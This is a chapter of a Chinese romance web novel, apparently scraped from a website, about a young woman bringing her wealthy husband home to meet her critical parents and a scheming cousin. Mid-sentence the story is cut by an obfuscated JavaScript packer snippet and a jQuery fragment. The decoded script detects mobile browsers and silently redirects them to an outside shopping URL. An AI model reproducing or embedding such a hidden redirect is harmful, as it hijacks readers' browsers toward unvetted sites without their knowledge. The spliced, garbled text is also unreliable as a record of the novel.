确认闻仕谦的公司没有因为经济下行而陷入危机,池语宁松了口气。
婚姻大事之所以是大事,不外乎是因为嫁鸡随鸡嫁狗随狗,闻仕谦的财务状况将直接影响到她现在的生活质量和今后的命运。
她就是一直以来吃了太多的苦,才不想再吃苦。
但凡闻仕谦的现金流出现一点状况,她都会寝食难安。
她转头看向正在专注开车的闻仕谦。
他一头茂密的黑发被一丝不苟地打理得整齐有型,剪裁考究的墨蓝色西装衬出他的翩翩风度,金光闪闪的袖扣奢华富丽,手腕上那块百达翡丽的腕表更是价值不菲。
尽管他个人具备达官显贵日久天长养出的尊贵气质,豪奢的衣着还是为他增添了许多光彩。
就像她哪怕天生丽质,也需要脂粉和漂亮的礼服才能将她包装成温室里的花朵、象牙塔尖的珍珠翡翠。
她知道自己爱慕虚荣,所以刻意想方设法掩饰这一点,故意扮作不谙世事的模样假装清纯,引诱闻仕谦落入她温柔乡般的陷阱,成功以质朴的模样俘获他的心。
可当她得到了一切以后,总是因为自卑心作祟而感到不配,只好将自卑表现得再明显一点,好转移他的注意力,以免他察觉。
静默中,她鼓起勇气开口:“等会儿到了我家,您能不能把手腕上的表摘下来?”
闻仕谦挑眉问她为什么。
池语宁一编谎话就脸红结巴,纵是强作镇定,颤抖的声线也暴露出她的心虚:“我爸妈他们思想传统,一生都在追求安稳。在他们看来,日进斗金也没有拿着两三千块的死工资来的稳定。他们一直没指望我能有什么大出息,只希望我找个门当户对安分守己的普通人结婚。他们要知道我嫁给您这样的人物,不会觉得我嫁的好,反而会觉得我钻进了钱眼里,迟早会被抛弃,劝我分一笔钱跟您离婚。”
她有意美化了自己的父母。
依照她对自己父母的了解,若是知道女婿是这般手眼通天的人物,才不会诚惶诚恐觉得女儿随时会被抛弃,只会狐假虎威到处去亲戚面前吹嘘惹事,打破她现在好不容易得来的平静。
闻仕谦看着她纠结矛盾的模样,明白了她的顾虑,郑重其事地说:“他们怎么想都可以,你不用有这种顾虑。我说过,我这辈子只打算结一次婚,所谓的色衰爱弛不可能发生在你我身上。”
池语宁并不信他的保证,商人重利轻别离才是她信奉的真理,一时无言。
等红绿灯的空隙,他抬手利落地将腕上的名表摘了下来,随手递给她,交由她保管。
池语宁赶紧接下,安放进自己随身携带的皮包里。
为了避免闲言碎语,她在公司的日常穿戴都不是什么昂贵的奢侈品,而是低调的平价网购商品,成功打入打工人内部。
这会儿倒是不用特意跑到天桥上,买老板卷钱和小姨子跑了的那种廉价甩卖包了。
闻仕谦默了默,终究是将一直想说的话说出了口。
“你还是先把习惯性对我说的敬语改掉,免得二老听了疑心。”
第一次见面听她用敬语的时候只觉得她礼貌。
婚后他们都已经是夫妻了,她依然不改口,他只当时彼此不熟,便没有提出意见。
而今,他们已将肌肤相亲纳入日常,夜夜耳鬓厮磨,他连她哪里最敏感都了然于心,她仍旧张口闭口称他为“您”。
他实在是觉得刺耳,像是随时可以与他划清界限分道扬镳,这种生疏令他非常不适。
但上一次他伺机提起,她却反应过激。
见她诚惶诚恐,他也不好每次交流都打断她,于是都只是耐心倾听她想表达的意思。
今天是随她回门,不管他们两个怎么想,在二老面前都不能表现得像是他地位高于她一般,总得看着就恩爱。
池语宁闻言怔了怔,应了声好。
她对他用敬称,一方面是认为以自己的条件嫁给他实属高攀,另一方面则是因为他的社会地位和公众形象确实都远高于自己,在他面前表现得过于自我则会显得有失教养,让他瞧不起。
他第一次提起这件事的时候,她是不知如何是好。
当他第二次提起的时候,她再不当回事,看起来就是不把他放在心上了。
路过大型商超时,闻仕谦带着她进去,先问她有没有想吃的零食,在她摇头后,才去奢侈品和烟酒柜台买了一些寻常人家咬咬牙也能买得起,但绝不会花冤枉钱买给自己的高档护肤品和白酒当作见面礼。
池语宁犹豫了一下,没有再跟他客气。
主要是在他提了敬语的事后,再那般做作地推辞,反而会惹得他不悦。
她看似对人情世故一窍不通,实则很有分寸。
皇城脚下看似一物一景都繁花奢靡,实则有很多具有年代气息的不起眼老旧居民区。平民百姓能有一处瓦舍安身实属不易,都是代代传承才得一居所栖息。
老小区车位有限,地上地下再难开拓出多余的空间容纳逐年增多的私家车。
闻仕谦平时从来不用自己找车位,他下车后,司机自然会去泊车,今天也算是下凡体验了一下人间疾苦,围着小区兜了三圈才勉强找到一个根本上不上车位的空地把车停好。
不知道的还以为他是为了刻意炫富才开着豪车兜风。
车停的离池语宁父母家有些远,闻仕谦举重若轻地拎着从后备箱里卸下来的重物。
大包小包全都在他手中,没让池语宁帮一点忙。
池语宁看着他的好体力不禁惊叹,不愧是出身行伍,哪怕是退伍有些时日了,依旧力能扛鼎,健步如飞。
看着闻仕谦一步一步爬老式建筑的楼梯时,真的有些懊恼自己毕业不久,没能赚到足够的钱出资为父母将老房改造成电梯房,所以在物业征求业主意见时,劝说父母投了反对票。
其实就算她不发表任何意见,她的父母也不见得会同意花钱修缮,但是她还是怪在了自己头上,痛恨起自己的软弱无能。
到了门口,不等闻仕谦腾出手,她就敲响了那扇锈迹斑驳的防盗门。
池母萧雨晴系着围裙过来给他们开门,由于手里有活要干,百忙之中匆匆出来,满脸不耐烦,正欲问女儿为什么不带钥匙,在看到站在女儿身边高大挺拔的男人时不由愣住了。
“你是?”
“妈,这是我男朋友闻仕谦……”池语宁忐忑地开口介绍,到底没敢说出自己已经瞒着父母结婚登记的事,想把得到父母认可的环节再补上。
她自作主张说完,急忙去看闻仕谦的脸色。
闻仕谦倒并未介怀,礼貌地朝萧雨晴微微颔首,面带恰到好处的微笑:“阿姨您好,初次登门给二位带了点薄礼,不成敬意。”
虽然他已经到了而立之年,可在金钱的加持下一点也看不出岁月的沧桑,在部队晒脱皮的黝黑古铜皮也被养尊处优的日子养了回来,遑论他骨相本就优越。
要不是语调不疾不徐,颇有沉稳的气质,一点也看不出他不是池语宁的同龄人。
即便是闻仕谦在池语宁的请求下刻意将身上的名牌摘了一些,但眼光毒辣的老一辈还是一眼从他的谈吐看出他不是庸碌之辈。
池母上下打量了闻仕谦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783348|209768||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一遭便立刻判断出这是传说中的金龟婿,连忙一边喜笑颜开地热情欢迎,一边口不应心地说起客套话:“来就来,还带什么东西呐。别在门口站着了,进来再说吧。”
听到这边的声响,原本懒洋洋坐在客厅沙发上看电视的池父池海昌也跑出来迎接。
看到闻仕谦丰神俊朗,举止不俗,竟十分符合他们心中的女婿标准,两位家长都对他意料之外的满意。
池海昌招呼闻仕谦在客厅坐下,萧雨晴则拽着池语宁去厨房帮忙打下手。
池语宁从小就懂事的帮家里干家务活,对洗菜做饭的流程了如指掌,根本不需要萧雨晴吩咐就能做好。
萧雨晴却仍是絮絮叨叨,不论她做什么都能挑出刺来说不应该。
尤其是当池语宁洗菜时露出了被茶水烫伤的红痕,萧雨晴更是严厉指责,讲了一堆自认为在理的大道理:“多大的人了,倒个水还能把自己烫成这样?笨手笨脚的,什么都干不好,嫁到人家家里可怎么办,婆婆不知道有多嫌弃。”
池语宁一言不发,泪水在眼眶里打转,萧雨晴见状嫌弃地说:“一点用都没有,就知道哭!我这么泼辣干练的人,怎么生出你这么矫情的女儿!”
此时,闻仕谦正在客厅陪池海昌喝茶。
老房子不隔音,他隐约听到了萧雨晴斥责池语宁的尖锐嗓音,不由朝厨房望去。
池海昌见他分神,连忙伸手拉了他一把:“没事的,她们母女俩平时相处起来就那样,有什么说什么,没有隔夜的仇,不妨事的,我们继续聊。想当年我在厂里当车间主任的时候,手里头可是管着几百号人,可以说是一呼百应,厂长见了我都得客客气气的。当领导的,最重要的是魄力,你得让手下人都服你,就得恩威并施……”
他滔滔不绝地吹嘘着自己退休前那点微不足道的辉煌事迹,言辞间充满了对自己那点权力的沾沾自喜,说教起来一时半会停不下来。
而闻仕谦作为寡头企业掌舵人,在商界叱咤风云,在学术界备受尊崇,眼下听到池海昌快要吹破的牛皮,却异常耐心地赞同道:“您说的对,管理确实是一门学问。您的经验很值得我们这些晚辈学习借鉴,有幸听您指点,当真是受益匪浅。”
他谦逊受教的模样极大程度地满足了池海昌的虚荣心。
老头儿愈发精神矍铄,打开话匣跟他称兄道弟,听他自称是老师,便真以为他是个在编的教师,且只有这一层身份,哈哈笑着说他和自己女儿有一样的职业,是天造地设的绝配。
就在池海昌激情洋溢的要和他谈当下的国际局势时,门外传来敲门声。
池海昌一拍脑袋,知会了一声便忙不迭跑去开门:“应该是菲菲来了。你稍等,我开个门,去去就来。”
说着也不管闻仕谦是否愿意久等就将他晾在了一旁,和刚才迎接他们时的冷淡态度截然不同。
这要不是心里没有亲女儿,自然也不会冷落准女婿。
闻仕谦眼中一凛,总算知道池语宁如今的性情是怎么形成的了。
门一打开,未见其人,先闻其声,一道爽朗含笑的女声穿透空气传来。
“大伯好啊。您气色怎么这么好,身子骨跟上回见您时比起来硬朗了不少,准是宁宁在身边孝敬的。哪像我天天在外面跑,逢年过节都不着家,我爸妈难得见上我一回呢。”
这一开口,虽未夹枪带棒,却暗藏机锋。
来者不善,直奔着不在场的池语宁在背后开了一记黑枪。
闻仕谦但笑不语,弯唇啜了口温茶。
这小门小户的女人的心眼,看起来比深宅大院里的还多。